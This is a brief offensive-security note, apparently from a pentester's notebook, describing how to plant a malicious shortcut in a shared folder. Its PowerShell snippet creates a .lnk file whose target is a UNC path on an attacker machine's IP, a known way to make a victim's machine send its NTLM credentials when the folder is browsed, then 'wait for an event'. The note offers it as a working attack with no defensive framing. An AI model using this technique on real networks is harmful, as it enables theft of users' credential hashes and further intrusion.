Placing a malicious file in a shared folder can lead to some great results!

Creating the File

image.png

$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\\test.lnk")
$lnk.TargetPath = "\\\\192.168.150.131\\@test.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\\system32\\shell32.dll, 3"
$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()

<aside> 💡

Wait for An Event